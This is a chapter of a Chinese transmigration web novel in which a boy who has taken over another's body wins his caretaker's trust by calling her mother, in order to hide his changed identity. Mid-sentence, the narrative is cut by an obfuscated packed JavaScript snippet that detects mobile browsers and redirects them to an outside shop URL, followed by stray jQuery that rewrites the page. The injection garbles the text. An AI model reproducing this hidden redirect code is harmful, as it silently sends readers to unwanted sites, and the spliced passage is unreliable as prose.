“昇哥儿,你醒了?头还疼吗?”
一道急切却柔美的女声,由远及近传来。
徐昇不由得睁开眼,看向声音来处。
只见连接内外室的月亮门帘子猛地挑开,一位身着曲裾深裙的女子踱着小碎步急匆匆的走了进来。
这女子虽一身素衣,但长相却极美极艳,彷如一株热烈明亮的凤仙花,阴暗昏沉的内室,因为她的到来,不由骤然一亮。
但女子似是几日未曾好好打理,身上的曲裾裙有些皱巴,高髻上金流苏也略有歪斜,大概是刚刚走的太急切了,还有几缕乌发如柳丝一般垂了下来,明媚中凭添一分楚楚可怜。
这声音,徐昇记得。
他在昏迷期间,日日都能听到这声音的主人在外间带着哭腔低声祷告,祈求徐昇平安无事。从玉皇大帝王母娘娘,到元始天尊太上老君,最后又到了如来佛祖观音菩萨,各路神仙都被她祈求了个遍。
是秦二娘子。
顾雪衣的亲姨母。
小说中,顾雪衣就是凭这位,攀上了徐家,又凭着徐家的军权,稳压女主顾青鸾一头,当上了王妃、太子妃,直至徐家破灭。
作为女主顾青鸾上位最大绊脚石之一,秦二娘子的结局,原著小说中颇为浓墨重彩的写了一段,好让小说读者狠狠解气——蛮夷入侵后,秦二娘子不肯随众南渡,只一心一意跟着徐瑛,徐瑛战死后,她便放了一把火,自焚殉了——原著小说狠狠嘲讽了这个不知变通空有皮囊的木头美人。
倒是位烈女子。
徐昇看向秦二娘子的眼神,不经意间露出几分钦佩。
秦二娘子倒没察觉这些。
她一进来,看着徐昇稳稳当当靠在床边,神色清明,不复前几日的浑浑噩噩,被狠狠揪住的心一下子就松了下来,因为日夜担忧而显得有些苍白的嘴唇,也略微有了血色。
她顾不得平日里妩媚优雅的仪态,一手提起拘束的曲裾裙,几步合为一步,嗖的一下来到了徐昇跟前,一双纤纤玉手捧起徐昇的大脑袋,仔细查看着徐昇后脑勺上的伤口。
昨日还血流不止的伤口,终于结了一层薄痂——但也仅限于此了,横七竖八的口子边缘仍沁着淡黄色的血珠,整个头皮红肿溃烂,糟成一团,看着就让人揪心。
“昇哥儿,可还疼得紧么?”
话一出口,秦二娘子便后悔了,伤成这样,怎么能不疼呢,不过是昇哥儿强忍着罢了,一想想他才不过14岁,遭此重创下却仍这般懂事,二娘子心痛更甚,眼泪又啪嗒啪嗒地往下掉。
“不怎么疼了。”
徐昇扯扯嘴角,声音低沉闷厚,对秦二娘子露出一个笑道:“能活过来已是万幸,这点疼不算什么。饭要一口口吃,病也要一点点好,您说,是不是?”
怎么能不疼呢?但徐昇见秦二娘子那揪心的样子,便改了口。系统答应他,会逐步修复他头上的伤口,既然如此,又何必徒惹人担忧。
“是,是这个理儿,我该高兴才是。”
秦二娘子忙擦了泪,脸上漾起笑意,遂又双手合什,对着空气向左拜拜,又向右拜拜,东南西北转了个圈,口中念叨着完了各路徐昇没听过的神仙名字,感谢各路神仙保佑。
拜完神仙,秦二娘子这才坐在了床边儿、丫鬟准备的绣墩上,一双眼睛顾不上其他,只从上到下细细打量着徐昇,发现其比受伤之前瘦了,又心疼了起来。
“昇哥儿此番真是受了大罪,一连躺在床上这么些天,什么都没能吃上,咳…看看,脸都瘦了一圈。”
秦二娘子似是染了风寒,话说的一长,便有些咳嗽气喘。
她自己倒是不甚在意,开始忙不迭地吩咐起来。
“宝珍,快吩咐厨房,咳…做点哥儿平日里爱吃的送来。”
“翡翠,你去荣安堂那里,咳…告诉老太太昇哥儿大好了,让老太太安心。另外,请示下老太太,看咳…看能否请苏家的大夫再来一趟,咳…再给哥儿把把脉。”
“琥珀,你…”
秦二娘子正侧着头,朝着旁边的丫鬟们一一吩咐,时不时攥着手帕遮挡住口鼻咳嗦一两声。
她话还未说完,手便被徐昇一下握住,秦二娘子一怔,转过头来,以为徐昇有什么药吩咐:“昇哥儿,可是有想吃的想喝的?”
“我不饿,随便吃点就成。”徐昇拉着秦二娘子的手说道。
“倒是阿娘为照顾我病了。翡翠姐姐去荣安堂时,也让祖母知晓,最好再请位擅长治风寒的大夫来。”
“嗨,咳嗦两声不当事,我自己休息两日便好了,哪里需要劳烦老太太请大夫,我…”
起初,秦二娘子没有反应过来,只听到了徐昇要为请她大夫,明艳憔悴的脸上便浮起欣慰的笑意。不过,她这个身份,又不是什么大病,休息两日便好了,哪里就值得如此兴师动众,便忙着要推掉。可推辞的话还未说完,便觉察出一丝不对,连她旁边还未走开的宝珍等一众丫鬟也有些目瞪口呆。
“昇哥儿,你…叫我什么?”
秦二娘子看着徐昇,一双明眸满是疑惑与不可置信。
“阿娘。”
徐昇认真地看着秦二娘子,眼里充满着孺慕之情:“阿娘是不喜欢孩儿这样称呼您吗?”
“喜、喜欢…不…不是…”
秦二娘有些语无伦次,她有些慌乱地摇着头,鬓边的流苏散成一团,不敢与徐昇对视:“昇哥儿,你这孩子睡糊涂了,说些浑话,瑛郎还在西北呢,她才是你阿娘。”
“我、我…只是照顾你罢了,当不得你这么叫我…”
“使不得...”
说到后边,秦二娘子的声音越来越低,几不可闻,往日里明媚的凤眼此时却低垂着,纤长浓密的眼睫微微颤动。
……
徐昇心里叹了一口气。
在镇北徐府,秦二娘子的地位,其实非常尴尬。
从实际关系上论,她是镇北将军的妻子,本当是将军夫人。可奇葩的是,镇北将军徐瑛也是名女子,且早在遇到秦二娘子之前,徐瑛便已经成亲生子。
秦二娘子能住在徐家,完全是徐瑛一次无意间的英雄救美。从此,还是花魁的秦二娘子便对徐瑛情根深种,用攒了许久的银钱自赎其身,使了好一番心计和手段,终于死缠烂打得磨进了徐家。
虽然之后,徐瑛也喜欢上了明艳泼辣的二娘子,但却并未与其成婚,也没能让其成为徐府实际上的女主人。
一来是因为大安朝就没有这个传统和仪式,二来秦二娘子出身烟花之地,而徐家却是世代功勋,两者身份,云泥之别,苏老太君虽不说什么,但心里却对秦二娘子颇有些成见。
因此,徐家从未提及给秦二娘子一个身份,二娘子便这么不明不白的在徐家住了下来。
别看二娘子性子张扬泼辣,进了徐府后,便毫不客气地挑了一处最好的院子,院子里摆的也无一不是洛京城里最好的,平日里穿金戴银,身后跟着一串大小丫鬟,通身一副管家奶奶的气派。
但其实,秦二娘子除了徐瑛的宠爱外,是没有什么其他底气的。
她的出身摆不到台面上,而她与镇北侯徐瑛同为女子,自然不可能诞下子嗣后代为其撑腰张目。
在徐昇看来,她平日里的豪横做派,除了虚张声势,不让徐家下人们小瞧欺负了去,更透着股今朝有酒今朝醉的悲凉。
因此,在徐瑛远赴西北边关后,秦二娘子便收拢了性子、安安静静地住在自己的院子里,除了给苏老太君请安,不轻易出来。
虽然后来,苏老太君因精力不济外加对徐昇的惫懒品性失望透顶,便彻底将徐昇交由秦二娘子照料,但秦二娘子依然时刻记着自己的身份,真的就只一心照料徐昇,其余的一概不理。
这些年,洛京城里的大小人家,也都知道秦二娘子这位默不作声的‘如夫人’,不少想与徐家攀亲的人家,便动了心思,或上门求见或盛邀赴宴,但秦二娘子却都一一婉拒了。
她像一只流浪很久的猫,一被收养,就再也不会逾越门槛一步。
……
“这声阿娘,孩儿早就想叫了。”
徐昇看着对面忐忑不安的女子轻声道。
“之前是孩儿脸皮薄,”徐昇脑子想起以往的种种无赖行径,无比诚恳地睁眼说瞎话:“这次孩儿几乎死过去一次,便想着再不能错过了。”
“孩儿尚未满月,母亲便重回西北驻守边关。年岁渐长后,祖母见我不争气,便撂开手随了我,只有阿娘不嫌弃孩儿蠢笨,一如往日,精心照顾孩儿。”
“孩儿不吃饭时,是阿娘耐心的哄孩儿吃饭。”
“不肯睡觉时,是阿娘唱小曲儿讲故事给孩儿听。”
“直到现在,孩儿身上的贴身衣服,还是阿娘一针一针给我缝的。”
“在孩儿心里,母亲是父亲,您就是娘亲。”
“阿娘照顾我长大成人,等阿娘老了,我给阿娘捶腿,我喂阿娘吃饭。”
“阿娘不必害怕,更不必拘束整日呆在自己院子里,想去哪里便去哪里,想听戏便听戏,敲锣打鼓都使得。”
“孩儿保证,以后只要有孩儿在,谁都不能欺负阿娘!”
徐昇一番话,让秦二娘子听得怔住了。
她愣愣地看着这个自己养了十年的孩子,因为风寒有些冰凉的双手被对方厚厚的手掌焐热。
她张了张嘴,嗫嚅着,却不知道说什么,豆大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679760|207620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼泪一颗颗滚落了下来,砸在了她有些皱巴巴的素裙上。
……
能住进徐家,二娘子是感激的。
她出身风尘,稍微有些体面的人家,最多把她当个奴婢。徐家能接纳她,让她在镇北侯府好吃好喝地住着,而不是像对外室一样,随便在犄角旮旯找个小院儿打发了她,她已经十分感恩了。
只不过,担忧却也一直在。
徐家人都含糊地称她“二娘子”,她不知道她算徐家的什么人,也不知道能在徐家住到什么时候。
或许有一天,她年老色衰,而徐瑛喜欢上了新的人;又或许还等不到那一天,徐家就因为她的出身,要赶她走。
那个时候,她能去哪里呢?
夜半时分,她常常梦见自己被赶出徐家,银钱被地痞流氓抢走,不得不再次流落风尘,最后浑身脓疮死于某个阴暗的小巷。
她是怕的,只不过她这样浮萍似的人,能有片刻幸福已是不易,她强行压着自己不去想而已。
照顾昇哥儿,她没有图什么。
昇哥儿是徐瑛唯一的孩子,而她爱慕徐瑛,所以在她心里,昇哥儿也是她的孩子。
但她自知身份卑微,所以从未说出口。
在昇哥儿还小时,她唱着记忆里家乡的小曲儿,拍着小娃娃的背哄他入睡,她想着,如果有一天她不在徐家了,或许,还有个孩子会记得她。
就这样自我安慰着过了十年。
直到今天,她养大的孩子,叫她阿娘,告诉她不用担心被别人欺负,他会养她到老,为她摔盆哭灵。
二娘子再也没忍住,多年的担忧消散为泪水,像断了线的珍珠般落了下来,打湿了一片衣裳。
……
“傻孩子,”秦二娘子一边流泪一边拍着徐昇的手哽咽:“你的心意,我…我知道了,但是不要这么叫了。我…我是那样的出身,这对你不好。”
“儿不嫌母丑,况且阿娘这么美,满洛京城的贵妇没有一个赶得上阿娘。”
徐昇这话发自肺腑。
毕竟小说里,也是花了大篇幅写了秦二娘子的美貌,屡屡提起镇北将军徐瑛被她狐媚得不行,所以才频频出手提携她的侄女、也就是反派女二顾雪衣,导致女主顾青鸾不得不忍气吞声多年。
“阿娘,孩儿的前程是自己挣得。只要孩儿争气,徐家还在,不会有谁会把孩儿怎么样,也不会有人敢拿往事中伤阿娘。”
“孩儿之前不懂事,这一次从鬼门关走了一遭,必定痛改前非,以后不会再胡作非为,惹阿娘和祖母生气了。”
秦二娘子没想到徐昇竟能说出这样一番话来,她眼眶通红,哑着声儿,欣慰抹泪道:“好,好!我常常想,徐家世代将族,瑛郎也是文韬武略,她的孩子怎么会差呢?现在看来,都是你还小,不懂事。这不,经历了事,就明白事理了。”
“是,孩儿懂事了,将来说不定,还会为阿娘挣个诰命。”
“好,好!”秦二娘子边笑边哭哽咽道:“我…阿娘等你赚个诰命回来。”
……
一番推心置腹后,秦二娘子已然哭成了泪人儿,不得不带着丫鬟回自己院中梳洗一番。
徐昇目送着秦二娘子款款走远,长舒了一口气。
秦二娘子这关,他应该是过了。
是的,徐昇之所以突然改了对秦二娘子的称谓,虽有原主残留的一丝情谊在,但更多是为了掩盖内里已经换了芯子的事实。
他虽然获得了原主的记忆,但是一个人的细小的习惯,总是会和以往不同。更何况,他为了完成任务,自是不能如原主一般浑噩度日,一来二去,总会有些改变。
亲近熟悉的人,总会察觉,进而会起一些疑心。
丫鬟小厮们还好说,他们不敢妄议主人家。
但主子们就不同。
而在这徐府,最熟悉徐昇的主人,就是秦二娘子。
徐昇虽然想迫切的完成任务,但这任务的第一步,就是不能被周围人发现异常,否则一个不好,他就要被当成夺舍人身的妖孽,被架起来烧死扬灰,那也就没有后续了。
徐昇刚刚闭目时就在想,他该如何让秦二娘子全心全意的信赖自己。
最后,他准备打一打感情牌。
所幸,他打赢了。
秦二娘子看起来是信了。
徐昇现在有一定把握,哪怕自己将来在其他人、尤其是徐家老太太面前不慎出了纰漏,秦二娘子也会拼命为自己圆场。
毕竟,一个爱子心切的母亲,永远会相信,她的儿子是为了她,终于浪子回头。
徐昇暗吐了一口气。
下一步,就是过苏老太君这一关了。